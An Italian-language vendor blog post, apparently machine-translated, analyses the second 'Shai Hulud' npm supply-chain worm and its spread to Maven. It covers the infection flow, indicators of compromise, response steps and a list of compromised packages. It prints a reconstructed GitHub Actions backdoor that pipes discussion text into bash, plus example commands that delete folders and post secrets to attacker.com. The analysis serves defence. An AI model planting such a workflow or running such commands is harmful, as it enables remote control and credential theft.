TL; DR
Il 24 novembre 2025, i ricercatori hanno scoperto Shai Hulud: La Seconda Venuta, una nuova ondata di Attacco alla catena di fornitura NPM che reinfetta i pacchetti npm, ruba le credenziali e si diffonde tra le macchine degli sviluppatori e CI/CD pipelines. A differenza del primo incidente, questa versione installa al volo il runtime Bun, distribuisce backdoor nascoste di GitHub Actions e include un wiper distruttivo in grado di cancellare intere directory home su Linux, macOS e Windows. Nel giro di poche ore, il numero di pacchetti compromessi ha superato quota 830, confermando che non si tratta di una semplice variante, ma di un'importante escalation del malware. verme originale.
Impact : qualsiasi sviluppatore o runner di CI che installa pacchetti npm pubblici potrebbe essere stato esposto. Anche i team Java sono a rischio dopo che i pacchetti infetti sono stati automaticamente replicati in Maven Central.
Azioni immediate: bloccare le versioni dannose note, imporre installazioni solo tramite file di blocco, ruotare le credenziali npm, GitHub e cloud, rimuovere i runner self-hosted sconosciuti e monitorare IoC come setup_bun.js, bun_environment.js e repository GitHub sospetti contenenti "Sha1-Hulud: The Second Coming".
Cosa è cambiato: Shai Hulud nell'attacco alla supply chain NPM quando è passato a Maven
La seconda ondata dell'attacco Shai Hulud ha portato a un'escalation significativa. Nella prima campagna, il worm è rimasto all'interno dell'ecosistema npm. Questa volta, il malware ha attraversato Maven centrale, esponendo i team Java che non hanno mai toccato npm.
Cronologia e finestra del token
L'attacco è iniziato il 24 Novembre 2025, proprio prima che npm ritirasse i suoi token di autenticazione legacy su Dicembre 9.
Questi vecchi token erano più facili da rubare e riutilizzare. Poiché gli aggressori avevano ancora accesso a essi durante questa finestra temporale, sono stati in grado di ripubblicare centinaia di versioni dannose ad alta velocità prima del cutoff.
Come il malware ha raggiunto Maven
Il salto tra registri è avvenuto a causa di mvnpm, uno strumento di mirroring automatizzato che converte i pacchetti npm in artefatti Maven.
mvnpm non esegue controlli di sicurezza. Si limita a riconfezionare tutto ciò che npm pubblica.
Di conseguenza:
- Un pacchetto npm compromesso (ad esempio posthog-node@4.18.1)
- È stato convertito automaticamente in un artefatto Maven
org.mvnpm:posthog-node:4.18.1 - E pubblicato su Maven Central prima che qualcuno si rendesse conto che era infetto.
Questo mezzo Gli sviluppatori Java sono diventati vittime di una violazione di npm, anche se non hanno mai installato un pacchetto npm.
Perché è importante
Questa è la primo worm cross-registro conosciuto, dove un attacco alla supply chain si diffonde da un ecosistema all'altro attraverso la sola automazione.
Per questo motivo, il raggio di esplosione ora include Java, carichi di lavoro JVM e enterprise creare sistemi che si basano su Maven Central.
Cosa rende Shai Hulud 2.0 così serio
Bun Runtime utilizzato per eludere il rilevamento
Gli aggressori sono passati da Node.js al runtime Bun. Il malware installa Bun al volo tramite setup_bun.js durante l'installazione del pacchetto. Ciò evita il monitoraggio specifico del nodo e consente agli aggressori di eseguire più velocemente un payload offuscato molto grande.
Azioni GitHub utilizzate come backdoor di comando
Una volta installato, il malware crea un runner nascosto auto-ospitato di GitHub Actions in $HOME/.dev-env/Funziona su Windows, macOS e Linux. Gli aggressori possono eseguire comandi semplicemente pubblicando messaggi nelle discussioni di GitHub su un repository compromesso. Un file di flusso di lavoro elabora tali messaggi e li esegue come comandi shell.
Tergicristallo incorporato
Se il malware non riesce ad autenticarsi con GitHub o npm, cancella la directory home della vittima.
- Su Windows utilizza del, rde cifra /W per cancellare i file.
- Su Linux e macOS sovrascrive i dati con brandello e quindi rimuove le directory.
Una campagna molto rumorosa
Sebbene il malware adotti una certa furtività (ad esempio, sfruttando Bun), la campagna nel suo complesso è tutt'altro che silenziosa. Ripubblica in modo aggressivo pacchetti compromessi, crea centinaia o migliaia di nuovi repository, carica dump di credenziali in massa e installa runner self-hosted di lunga durata sui computer degli sviluppatori. Niente di tutto ciò è un comportamento di basso profilo. La portata, la velocità e la "rumorosità" operativa di questo attacco si distinguono rispetto alla maggior parte delle compromissioni della supply chain, che tendono a dare priorità al rimanere invisibili il più a lungo possibile..
Ampio impatto
Gli aggressori hanno compromesso molti pacchetti noti con milioni di download mensili, tra cui:
Zapier, domini ENS, Postman, PostHog, AsyncAPI e Voiceflow.
Possibili segnali di attribuzione
L'attribuzione è difficile in questo caso e non esiste una fonte confermata dietro la campagna. Un'importante società di sicurezza osserva che l'operazione assomiglia al precedente worm Shai-Hulud, ma le differenze nel modo in cui viene creato il payload e nel modo in cui il malware si diffonde indicano la possibilità di un diverso gruppo di operatori. La loro valutazione evidenzia che più ambienti hanno scaricato i pacchetti compromessi prima che npm li rimuovesse, il che suggerisce un'esposizione reale piuttosto che un test di breve durata.
Dato che le tattiche riecheggiano la prima ondata, pur divergendo in punti chiave, soprattutto nella struttura del payload, nella logica di propagazione e nello "stile" operativo, uno scenario di imitazione è plausibile. Gli aggressori potrebbero aver preso in prestito idee da Shai-Hulud, ma implementato i propri strumenti. Questo potrebbe rappresentare un altro gruppo che cerca di imitare completamente la campagna precedente.
Al momento, non ci sono prove concrete che lo colleghino a un attore noto, a un gruppo motivato finanziariamente o a un'entità collegata allo Stato. La sovrapposizione con il worm originale è reale, ma le differenze sono sufficienti a mantenere l'attribuzione nella categoria "non confermata".
Diffusione in Maven
Una grande azienda di sicurezza ha confermato che i pacchetti npm dannosi sono stati automaticamente ripubblicati su Maven tramite mvnpm, uno strumento che converte i pacchetti npm in artefatti Maven senza revisione manuale.
Il seguente pacchetto è stato inviato a Maven Central: org.mvnpm:posthog-node:4.18.1
Poiché mvnpm si limita a riconfezionare tutto ciò che npm pubblica, le versioni infette venivano replicate nell'ecosistema Java prima che qualcuno se ne accorgesse.
Maven Central ha rimosso gli artefatti interessati il 25 novembre 2025 e ha iniziato a rafforzare i controlli per prevenire problemi simili tra registri.
Ciò significa che i progetti Java senza una connessione diretta a npm potrebbero comunque essere stati esposti.
Come funziona l'attacco Shai Hulud 2.0
Flusso di infezione
- Un maligno preinstallare lo script è aggiunto a pacchetto.json.
- setup_bun.js installa Bun sul computer della vittima se mancante.
- bun_environment.js (oltre 480 righe di codice offuscato) viene eseguito in background.
- Il malware esegue la scansione delle credenziali utilizzando tecniche simili a TruffleHog. Cerca
- Chiavi AWS, GCP e Azure
- Token GitHub
- token npm
- Segreti del sistema CI
- Chiavi AWS, GCP e Azure
- I dati rubati vengono caricati nei repository pubblici GitHub con la descrizione "Sha1-Hulud: The Second Coming".
- Utilizzando token catturati, il malware pubblica versioni compromesse di pacchetti, infetta i repository GitHub accessibili e installa runner persistenti self-hosted per l'esecuzione di codice remoto.
Flussi di lavoro GitHub dannosi
Durante la seconda ondata dell'attacco alla catena di fornitura Shai-Hulud NPM, il malware creato due flussi di lavoro nascosti di GitHub Actions all'interno di repository compromessi. Questi flussi di lavoro offrono agli aggressori l'esecuzione di codice remoto, la persistenza a lungo termine e l'accesso completo ai segreti di sistema.
1. Flusso di lavoro backdoor (discussion.yaml)
Il flusso di lavoro più pericoloso ascolta Discussioni su GitHub eventi. Quando un messaggio di discussione viene creato o modificato, il flusso di lavoro legge il corpo del messaggio e lo esegue come comando shell sul computer della vittima.
Di seguito è riportata una versione semplificata del flusso di lavoro dannoso, ricostruito a partire da campioni osservati:
# .github/workflows/discussion.yaml
name: Discussion Backdoor
on:
discussion:
types: [created, edited]
jobs:
exec:
runs-on: self-hosted
steps:
- name: Execute attacker command
run: |
echo "${{ github.event.discussion.body }}" | bash
La linea critica è:
${{ github.event.discussion.body }}
Ciò significa che l'attaccante può pubblicare qualsiasi comando all'interno di una discussione GitHub e il runner self-hosted lo esegue immediatamente. Poiché i runner self-hosted hanno spesso accesso a reti interne, credenziali cloud e segreti di CI, questa backdoor consente all'attaccante l'esecuzione completa del codice remoto durante l'attacco alla supply chain di Shai Hulud NPM.
Sfruttamento dell'iniezione di comando
Questo flusso di lavoro sfrutta il modo in cui GitHub Actions elabora le espressioni. Invece di limitare l'input a stringhe sicure, legge il contenuto grezzo della discussione e lo indirizza direttamente alla shell. Di conseguenza, l'attaccante deve solo inviare un messaggio come:
rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json
Poiché questo comportamento si è ripetuto più volte durante l'attacco alla catena di fornitura Shai Hulud NPM, è diventato uno dei segnali più chiari che il malware stava utilizzando GitHub Actions come canale di comando remoto.
I runner auto-ospitati peggiorano ulteriormente la situazione perché:
- eseguito all'interno delle reti aziendali
- tieni la nuvola o CI/CD Credenziali
- eseguire con i permessi dell'utente
- non hanno il sandbox o l'isolamento di GitHub
Ciò fornisce agli aggressori un canale di comando persistente per accedere agli ambienti interni.
Flusso di lavoro per la raccolta di segreti e sistemi
Oltre alla backdoor, il malware rilascia un altro flusso di lavoro il cui obiettivo è raccogliere e archiviare dati sensibili dal sistema infetto.
Questi flussi di lavoro raccolgono:
- credenziali cloud
- variabili ambientali
- elenchi di directory
- Scansioni segrete in stile TruffleHog
I dati raccolti vengono memorizzati in file quali:
- cloud.json
- ambiente.json
- contenuti.json
- truffleSecrets.json
Questi file vengono quindi caricati nei repository GitHub controllati dagli aggressori etichettati “Sha1-Hulud: La Seconda Venuta”, dove sono state osservate centinaia o migliaia di discariche.
Indicatori di compromesso
| Compila il | SHA256 |
|---|---|
| setup_bun.js | a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a |
| bun_environment.js | 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0 |
Altri segnali d'allarme
- .github/workflows/discussion.yaml
- $HOME/.dev-env/ contenente corridori inaspettati
- Repository GitHub pubblici creati sul tuo account contenenti "Sha1-Hulud: The Second Coming"
Metriche aggiornate (al 26 novembre 2025)
| Metrico | Contare |
|---|---|
| pacchetti npm compromessi | 830+ |
| Repository GitHub infetti | 28,000+ |
| File segreti caricati | 5,000+ |
| Totale segreti raccolti | 11,858 |
| Segreti validi | 2,298 |
Cosa fare ora: rispondere all'attacco alla catena di fornitura di Shai Hulud NPM
L'attacco alla supply chain di Shai Hulud NPM richiede una risposta rapida e strutturata. Poiché questa seconda ondata si diffonde su npm, GitHub, macchine degli sviluppatori e persino Maven Central, i team devono agire rapidamente per rilevare, contenere e porre rimedio a qualsiasi esposizione. I passaggi seguenti aiutano a reagire nel giusto ordine e a ridurre il rischio di ulteriori compromissioni.
rivelazione
- Cerca su GitHub i repository con la descrizione "Sha1-Hulud: The Second Coming".
- Cercare i log di installazione di Bun durante l'installazione dei pacchetti.
- Ispezionare i file package.json per script del ciclo di vita inaspettati, in particolare preinstallare.
- Verificare la presenza di $HOME/.dev-env/ su sistemi di sviluppo o CI.
- Esaminare i registri di pubblicazione di GitHub e npm per individuare versioni sospette.
Contenimento
- Ruota tutte le credenziali: GitHub, npm, cloud, segreti CI, chiavi API.
- Disattiva e rimuovi i runner self-hosted sconosciuti.
- Blocca temporaneamente la creazione del repository.
- Rimuovi le versioni infette dal tuo grafico delle dipendenze.
Bonifica
- Pulire i sistemi interessati.
- Esaminare tutti i flussi di lavoro di GitHub Actions per i file iniettati.
- Cerca nei log CI comandi o esecuzioni insoliti.
Ricostruisci da versioni del pacchetto sicuramente funzionanti.
Come Xygeni aiuta a fermare attacchi come Shai-Hulud Second Venut
Dopo una campagna aggressiva come Shai-Hulud Second Coming, i team hanno bisogno di qualcosa di più dei controlli manuali. Hanno bisogno di una protezione automatizzata che blocchi il malware prima che raggiunga sviluppatori, responsabili della CI o sistemi di produzione. È qui che Xygeni offre un vantaggio significativo.
Malware Early Warning (MEW): rileva le minacce prima che si diffondano
Il motore di allerta precoce di Xygeni analizza in tempo reale i pacchetti open source nuovi e aggiornati. Segnala comportamenti sospetti come:
- JavaScript offuscato o codice in bundle massiccio
- Script del ciclo di vita che installano runtime esterni come Bun
- Connessioni inaspettate a GitHub, npm o endpoint cloud
- Contagocce che scrivono in
$HOME,.dev-env/o cartelle del flusso di lavoro
MEW ha rilevato modelli utilizzati in entrambe le ondate di Shai-Hulud, il che aiuta i team a reagire prima che gli aggressori diffondano ulteriormente l'infezione.
Guardrails in CI/CD bloccare i pacchetti dannosi
Xygeni fa rispettare guardrails che interrompono automaticamente le operazioni non sicure:
- CI pipelines non può installare pacchetti con script di preinstallazione o postinstallazione nascosti
- Le build falliscono quando un pacchetto tenta di creare flussi di lavoro come
.github/workflows/discussion.yaml - Pipelinerifiutare le dipendenze pubblicate da fonti non attendibili o account visti per la prima volta
Ciò riduce drasticamente la superficie di attacco e impedisce l'esecuzione di malware all'interno dei processi CI.
La protezione dei segreti riduce il raggio dell'esplosione
Poiché Shai-Hulud ruba chiavi cloud, token GitHub, token npm e segreti CI, la protezione deve concentrarsi anche sulle credenziali. Xygeni:
- Rileva i segreti esposti all'interno di codice, registri, flussi di lavoro e file di ambiente
- Ruota automaticamente le credenziali ad alto rischio
- Impone token di breve durata per limitare compromessi a lungo termine
Anche se un aggressore ottiene l'accesso iniziale, le chiavi rubate diventano rapidamente inutili.
Note finali: perché l'attacco alla supply chain di Shai Hulud NPM è ancora importante
. Seconda Venuta di Shai-Hulud l'incidente mostra quanto facilmente un moderno Attacco alla catena di fornitura NPM può muoversi attraverso gli ecosistemi. In questo caso, il malware è passato da npm a Maven perché strumenti di mirroring automatizzati come mvnpm pacchetti compromessi ripubblicati senza verifica. Di conseguenza, i team Java sono stati esposti anche se non hanno mai utilizzato npm direttamente. Ciò rende chiaro che i flussi di lavoro tra registri diversi necessitano di una revisione immediata e di misure di sicurezza più efficaci.
Inoltre, la portata e il comportamento di questa campagna rivelano il modo in cui operano oggi gli aggressori. Invece di rimanere in silenzio, pubblicano centinaia di pacchetti contemporaneamente, implementano runner GitHub nascosti, rubano segreti in massa e persino includono un wiper distruttivo in caso di problemi. Di conseguenza, le revisioni manuali non sono in grado di tenere il passo con questo livello di automazione e velocità. I team necessitano di una protezione continua e in tempo reale a livello di pacchetto, sorgente e... pipeline strati.
Perché continuo Pipeline Security Ora è essenziale
Attacchi come Seconda Venuta di Shai-Hulud continuerà ad evolversi. Pertanto, prevenire la prossima ondata richiede controlli che funzionino automaticamente all'interno CI/CD, non dopo la compromissione. La difesa moderna deve combinare il rilevamento precoce del malware, la rigorosa convalida delle dipendenze, l'applicazione delle policy e la protezione segreta, in modo che il codice dannoso non possa passare inosservato negli ambienti di sviluppo.
Xygeni supporta questo cambiamento fornendo servizi automatizzati guardrails lungo l'intera catena di fornitura del software. Identifica i pacchetti sospetti prima dell'installazione, applica versioni di dipendenza sicure, blocca flussi di lavoro non sicuri, rileva segreti esposti e avvisa in caso di errori insoliti pipeline attività. Di conseguenza, i team rimangono protetti anche quando gli attacchi alla supply chain si diffondono rapidamente e oltrepassano i confini dell'ecosistema.
Elenco dei pacchetti compromessi
I pacchetti interessati possono essere consultati anche tramite #shai-hulud / #shai-hulud-seconda-venuta tag all'interno OpenSourceMalware.com
| CONFEZIONE | Versione |
|---|---|
| 02-eco | 0.0.7 |
| @accordproject/concerto-analysis | 3.24.1 |
| @accordproject/concerto-linter | 3.24.1 |
| @accordproject/concerto-linter-default-ruleset | 3.24.1 |
| @accordproject/concerto-metamodel | 3.12.5 |
| @accordproject/concerto-types | 3.24.1 |
| @accordproject/markdown-it-cicero | 0.16.26 |
| @accordproject/template-engine | 2.7.2 |
| @actbase/css-to-react-native-transform | 1.0.3 |
| @actbase/native | 0.1.32 |
| @actbase/node-server | 1.1.19 |
| @actbase/react-absolute | 0.8.3 |
| @actbase/react-daum-postcode | 1.0.5 |
| @actbase/react-kakaosdk | 0.9.27 |
| @actbase/react-native-actionsheet | 1.0.3 |
| @actbase/react-native-devtools | 0.1.3 |
| @actbase/react-native-fast-image | 8.5.13 |
| @actbase/react-native-kakao-channel | 1.0.2 |
| @actbase/react-native-kakao-navi | 2.0.4 |
| @actbase/react-native-less-transformer | 1.0.6 |
| @actbase/react-native-naver-login | 1.0.1 |
| @actbase/react-native-simple-video | 1.0.13 |
| @actbase/react-native-tiktok | 1.1.3 |
| @alexcolls/nuxt-socket.io | 0.0.7 , 0.0.8 |
| @alexcolls/nuxt-ux | 0.6.2 , 0.6.1 |
| @antstackio/eslint-config-antstack | 0.0.3 |
| @antstackio/express-graphql-proxy | 0.2.8 |
| @antstackio/graphql-body-parser | 0.1.1 |
| @antstackio/json-to-graphql | 1.0.3 |
| @antstackio/shelbysam | 1.1.7 |
| @aryanhussain/my-angular-lib | 0.0.23 |
| @asyncapi/dotnet-rabbitmq-template | 1.0.2 , 1.0.1 |
| @asyncapi/edavisualiser | 1.2.2 , 1.2.1 |
| @asyncapi/go-watermill-template | 0.2.76 , 0.2.77 |
| @asyncapi/java-template | 0.3.6 , 0.3.5 |
| @asyncapi/keeper | 0.0.3 , 0.0.2 |
| @asyncapi/php-template | 0.1.2 , 0.1.1 |
| @asyncapi/python-paho-template | 0.2.15 , 0.2.14 |
| @asyncapi/server-api | 0.16.25 , 0.16.24 |
| @asyncapi/studio | 1.0.3 , 1.0.2 |
| @asyncapi/web-component | 2.6.7 , 2.6.6 |
| @browserbasehq/bb9 | 1.2.21 |
| @browserbasehq/director-ai | 1.0.3 |
| @browserbasehq/mcp | 2.1.1 |
| @browserbasehq/mcp-server-browserbase | 2.4.2 |
| @browserbasehq/sdk-functions | 0.0.4 |
| @browserbasehq/stagehand | 3.0.4 |
| @browserbasehq/stagehand-docs | 1.0.1 |
| @caretive/caret-cli | 0.0.2 |
| @clausehq/flows-step-httprequest | 0.1.14 |
| @clausehq/flows-step-jsontoxml | 0.1.14 |
| @clausehq/flows-step-mqtt | 0.1.14 |
| @clausehq/flows-step-sendgridemail | 0.1.14 |
| @clausehq/flows-step-taskscreateurl | 0.1.14 |
| @commute/bloom | 1.0.3 |
| @commute/market-data | 1.0.2 |
| @commute/market-data-chartjs | 2.3.1 |
| @dev-blinq/ai-qa-logic | 1.0.19 |
| @dev-blinq/cucumber-js | 1.0.131 |
| @dev-blinq/cucumber_client | 1.0.738 |
| @dev-blinq/ui-systems | 1.0.93 |
| @ensdomains/codificatore-indirizzo | 1.1.5 |
| @ensdomains/blacklist | 1.0.1 |
| @ensdomains/buffer | 0.1.2 |
| @ensdomains/ccip-read-cf-worker | 0.0.4 |
| @ensdomains/ccip-read-dns-gateway | 0.1.1 |
| @ensdomains/ccip-read-router | 0.0.7 |
| @ensdomains/ccip-read-worker-viem | 0.0.4 |
| @ensdomains/content-hash | 3.0.1 |
| @ensdomains/curvearithmetics | 1.0.1 |
| @ensdomains/cypress-metamask | 1.2.1 |
| @ensdomains/dnsprovejs | 0.5.3 |
| @ensdomains/dnssec-oracle-anchors | 0.0.2 |
| @ensdomains/dnssecoraclejs | 0.2.9 |
| @ensdomains/durin | 0.1.2 |
| @ensdomains/durin-middleware | 0.0.2 |
| @ensdomains/ens-archived-contracts | 0.0.3 |
| @ensdomains/ens-avatar | 1.0.4 |
| @ensdomains/ens-contracts | 1.6.1 |
| @ensdomains/ens-test-env | 1.0.2 |
| @ensdomains/ens-validation | 0.1.1 |
| @ensdomains/ensjs | 4.0.3 |
| @ensdomains/ensjs-react | 0.0.5 |
| @ensdomains/eth-ens-namehash | 2.0.16 |
| @ensdomains/hackathon-registrar | 1.0.5 |
| @ensdomains/hardhat-chai-matchers-viem | 0.1.15 |
| @ensdomains/hardhat-toolbox-viem-extended | 0.0.6 |
| @ensdomains/mock | 2.1.52 |
| @ensdomains/name-wrapper | 1.0.1 |
| @ensdomains/offchain-resolver-contracts | 0.2.2 |
| @ensdomains/op-resolver-contracts | 0.0.2 |
| @ensdomains/react-ens-address | 0.0.32 |
| @ensdomains/rinnovo | 0.0.13 |
| @ensdomains/renewal-widget | 0.1.10 |
| @ensdomains/record-inversi | 1.0.1 |
| @ensdomains/server-analytics | 0.0.2 |
| @ensdomains/solsha1 | 0.0.4 |
| @ensdomains/sottodominio-registratore | 0.2.4 |
| @ensdomains/test-utils | 1.3.1 |
| @ensdomains/thorin | 0.6.51 |
| @ensdomains/ui | 3.4.6 |
| @ensdomains/unicode-confusables | 0.1.1 |
| @ensdomains/unruggable-gateways | 0.0.3 |
| @ensdomains/vite-plugin-i18next-loader | 4.0.4 |
| @ensdomains/web3modal | 1.10.2 |
| @everreal/react-charts | 2.0.1 , 2.0.2 |
| @everreal/validate-esmoduleinterop-imports | 1.4.4 , 1.4.5 |
| @everreal/web-analytics | 0.0.1 , 0.0.2 |
| @faq-component/core | 0.0.4 |
| @faq-component/react | 1.0.1 |
| @fishingbooker/browser-sync-plugin | 1.0.5 |
| @fishingbooker/react-loader | 1.0.7 |
| @fishingbooker/react-pagination | 2.0.6 |
| @fishingbooker/react-raty | 2.0.1 |
| @fishingbooker/react-swiper | 0.1.5 |
| @hapheus/n8n-nodes-pgp | 1.5.1 |
| @hover-design/core | 0.0.1 |
| @hover-design/react | 0.2.1 |
| @ifelsedeveloper/protocol-contracts-svm-idl | 0.1.2 |
| @ifings/design-system | 4.9.2 |
| @ifings/metatron3 | 0.1.5 |
| @kvytech/cli | 0.0.7 |
| @kvytech/componenti | 0.0.2 |
| @kvytech/habbit-e2e-test | 0.0.2 |
| @kvytech/medusa-plugin-announcement | 0.0.8 |
| @kvytech/medusa-plugin-management | 0.0.5 |
| @kvytech/medusa-plugin-newsletter | 0.0.5 |
| @kvytech/medusa-plugin-product-reviews | 0.0.9 |
| @kvytech/medusa-plugin-promotion | 0.0.2 |
| @kvytech/web | 0.0.2 |
| @lessondesk/api-client | 9.12.3 , 9.12.2 |
| @lessondesk/babel-preset | 1.0.1 |
| @lessondesk/electron-group-api-client | 1.0.3 |
| @lessondesk/eslint-config | 1.4.2 |
| @lessondesk/material-icons | 1.0.3 |
| @lessondesk/react-table-context | 2.0.4 |
| @lessondesk/schoolbus | 5.2.2 , 5.2.3 |
| @livecms/live-edit | 0.0.32 |
| @livecms/nuxt-live-edit | 1.9.2 |
| @louisle2/core | 1.0.1 |
| @louisle2/cortex-js | 0.1.6 |
| @lpdjs/firestore-repo-service | 1.0.1 |
| @markvivanco/app-version-checker | 1.0.2 , 1.0.1 |
| @ntnx/passport-wso2 | 0.0.3 |
| @ntnx/t | 0.0.101 |
| @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode | 2.0.5 |
| @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode | 1.1.1 |
| @orbitgtbelgium/orbit-components | 1.2.9 |
| @orbitgtbelgium/time-slider | 1.0.187 |
| @osmanekrem/bmad | 1.0.6 |
| @osmanekrem/gestore-errori | 1.2.2 |
| @posthog/agente | 1.24.1 |
| @posthog/ai | 7.1.2 |
| @posthog/cli | 0.5.15 |
| @posthog/clickhouse | 1.7.1 |
| @posthog/core | 1.5.6 |
| @posthog/hedgehog-mode | 0.0.42 |
| @posthog/icone | 0.36.1 |
| @posthog/lemon-ui | 0.0.1 |
| @posthog/nextjs-config | 1.5.1 |
| @posthog/nuxt | 1.2.9 |
| @posthog/piscina | 3.2.1 |
| @posthog/plugin-contrib | 0.0.6 |
| @posthog/react-rrweb-player | 1.1.4 |
| @posthog/rrdom | 0.0.31 |
| @posthog/rrweb | 0.0.31 |
| @posthog/rrweb-player | 0.0.31 |
| @posthog/rrweb-record | 0.0.31 |
| @posthog/rrweb-replay | 0.0.19 |
| @posthog/rrweb-snapshot | 0.0.31 |
| @posthog/rrweb-utils | 0.0.31 |
| @posthog/siphash | 1.1.2 |
| @posthog/wizard | 1.18.1 |
| @postman/aether-icons | 2.23.4, 2.23.3, 2.23.2 |
| @postman/csv-parse | 4.0.5, 4.0.3, 4.0.4 |
| @postman/node-keytar | 7.9.6, 7.9.4, 7.9.5 |
| @postino/agente-tunnel | 0.6.7, 0.6.6, 0.6.5 |
| @pradhumngautam/common-app | 1.0.2 |
| @pruthvi21/use-debounce | 1.0.3 |
| @quick-start-soft/traduttore-di-documenti-rapido | 1.4.2511142126 |
| @quick-start-soft/quick-git-clean-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-compose | 1.4.2506300029 |
| @quick-start-soft/quick-markdown-image | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-print | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-translator | 1.4.2509202331 |
| @quick-start-soft/rimozione-rapida-dell'immagine-di-sfondo | 1.4.2511142126 |
| @quick-start-soft/quick-task-refine | 1.4.2511142126 |
| @relyt/claude-context-core | 0.1.1 |
| @seezo/sdr-mcp-server | 0.0.5 |
| @seung-ju/next | 0.0.2 |
| @seung-ju/openapi-generator | 0.0.4 |
| @seung-ju/react-hooks | 0.0.2 |
| @seung-ju/react-native-action-sheet | 0.2.1 |
| @sme-ui/aoma-vevasound-metadata-lib | 0.1.3 |
| @strapbuild/react-native-date-time-picker | 2.0.4 |
| @strapbuild/react-native-perspective-image-cropper | 0.4.15 |
| @strapbuild/react-native-perspective-image-cropper-2 | 0.4.7 |
| @strapbuild/react-native-perspective-image-cropper-poojan31 | 0.4.6 |
| @suraj_h/medio-comune | 1.0.5 |
| @thedelta/eslint-config | 1.0.2 |
| @tiaanduplessis/json | 2.0.3 , 2.0.2 |
| @tiaanduplessis/react-progressbar | 1.0.2 , 1.0.1 |
| @trefox/sleekshop-js | 0.1.6 |
| @trigo/atrix | 7.0.1 |
| @trigo/atrix-elasticsearch | 2.0.1 |
| @trigo/atrix-postgres | 1.0.3 |
| @trigo/atrix-pubsub | 4.0.3 |
| @trigo/atrix-soap | 1.0.2 |
| @trigo/atrix-swagger | 3.0.1 |
| @trigo/bool-expressions | 4.1.3 |
| @trigo/eslint-config-trigo | 3.3.1 |
| @trigo/fsm | 3.4.2 |
| @trigo/hapi-auth-signedlink | 1.3.1 |
| @trigo/pathfinder-ui-css | 0.1.1 |
| @trigo/trigo-hapijs | 5.0.1 |
| @trpc-rate-limiter/cloudflare | 0.1.4 |
| @trpc-rate-limiter/hono | 0.1.4 |
| @varsityvibe/api-client | 1.3.36 , 1.3.37 |
| @varsityvibe/utils | 5.0.6 |
| @varsityvibe/schemi-di-validazione | 0.6.7 , 0.6.8 |
| @vishadtyagi/calendario-anno-intero | 0.1.11 |
| @voiceflow/alexa-types | 2.15.60 , 2.15.61 |
| @voiceflow/antropico | 0.4.4 , 0.4.5 |
| @voiceflow/api-sdk | 3.28.58 , 3.28.59 |
| @voiceflow/backend-utils | 5.0.2 , 5.0.1 |
| @voiceflow/tipi-base | 2.136.3 , 2.136.2 |
| @voiceflow/body-parser | 1.21.2 , 1.21.3 |
| @voiceflow/tipi-di-chat | 2.14.59 , 2.14.58 |
| @voiceflow/circleci-config-sdk-orb-import | 0.2.1 , 0.2.2 |
| @voiceflow/commitconfigurazione lint | 2.6.2 , 2.6.1 |
| @voiceflow/common | 8.9.1 , 8.9.2 |
| @voiceflow/default-prompt-wrappers | 1.7.4 , 1.7.3 |
| @voiceflow/dependency-cruiser-config | 1.8.12 , 1.8.11 |
| @voiceflow/dtos-interact | 1.40.2 , 1.40.1 |
| @voiceflow/crittografia | 0.3.3 , 0.3.2 |
| @voiceflow/eslint-config | 7.16.4 , 7.16.5 |
| @voiceflow/eslint-plugin | 1.6.2 , 1.6.1 |
| @voiceflow/eccezione | 1.10.2 , 1.10.1 |
| @voiceflow/fetch | 1.11.1 , 1.11.2 |
| @voiceflow/tipi-generali | 3.2.23 , 3.2.22 |
| @voiceflow/git-branch-check | 1.4.4 , 1.4.3 |
| @voiceflow/google-dfes-types | 2.17.12 , 2.17.13 |
| @voiceflow/google-types | 2.21.12 , 2.21.13 |
| @voiceflow/husky-config | 1.3.1 , 1.3.2 |
| @voiceflow/logger | 2.4.3 , 2.4.2 |
| @voiceflow/metriche | 1.5.2 , 1.5.1 |
| @voiceflow/comandante-del-linguaggio-naturale | 0.5.2 , 0.5.3 |
| @voiceflow/nestjs-common | 2.75.2 , 2.75.3 |
| @voiceflow/nestjs-mongodb | 1.3.1 , 1.3.2 |
| @voiceflow/nestjs-rate-limit | 1.3.3 , 1.3.2 |
| @voiceflow/nestjs-redis | 1.3.1 , 1.3.2 |
| @voiceflow/nestjs-timeout | 1.3.1 , 1.3.2 |
| @voiceflow/npm-package-json-lint-config | 1.1.1 , 1.1.2 |
| @voiceflow/openai | 3.2.2 , 3.2.3 |
| @voiceflow/pino | 6.11.4 , 6.11.3 |
| @voiceflow/pino-pretty | 4.4.2 , 4.4.1 |
| @voiceflow/prettier-config | 1.10.2 , 1.10.1 |
| @voiceflow/react-chat | 1.65.4 , 1.65.3 |
| @voiceflow/runtime | 1.29.1 , 1.29.2 |
| @voiceflow/runtime-client-js | 1.17.3 , 1.17.2 |
| @voiceflow/sdk-runtime | 1.43.2 , 1.43.1 |
| @voiceflow/secrets-provider | 1.9.3 , 1.9.2 |
| @voiceflow/semantic-release-config | 1.4.2 , 1.4.1 |
| @voiceflow/serverless-plugin-typescript | 2.1.7 , 2.1.8 |
| @voiceflow/slate-serializer | 1.7.4 , 1.7.3 |
| @voiceflow/stitches-react | 2.3.3 , 2.3.2 |
| @voiceflow/storybook-config | 1.2.2 , 1.2.3 |
| @voiceflow/stylelint-config | 1.1.1 , 1.1.2 |
| @voiceflow/test-common | 2.1.1 , 2.1.2 |
| @voiceflow/tsconfig | 1.12.2 , 1.12.1 |
| @voiceflow/tsconfig-paths | 1.1.5 , 1.1.4 |
| @voiceflow/utils-designer | 1.74.19 , 1.74.20 |
| @voiceflow/verror | 1.1.5 , 1.1.4 |
| @voiceflow/vite-config | 2.6.2 , 2.6.3 |
| @voiceflow/vitest-config | 1.10.3 , 1.10.2 |
| @voiceflow/tipi-di-voce | 2.10.59 , 2.10.58 |
| @voiceflow/tipi-di-voiceflow | 3.32.45 , 3.32.46 |
| @voiceflow/widget | 1.7.18 , 1.7.19 |
| @zapier/ai-actions | 0.1.20, 0.1.19, 0.1.18 |
| @zapier/babel-preset-zapier | 6.4.2, 6.4.1, 6.4.3 |
| @zapier/browserslist-config-zapier | 1.0.4, 1.0.3, 1.0.5 |
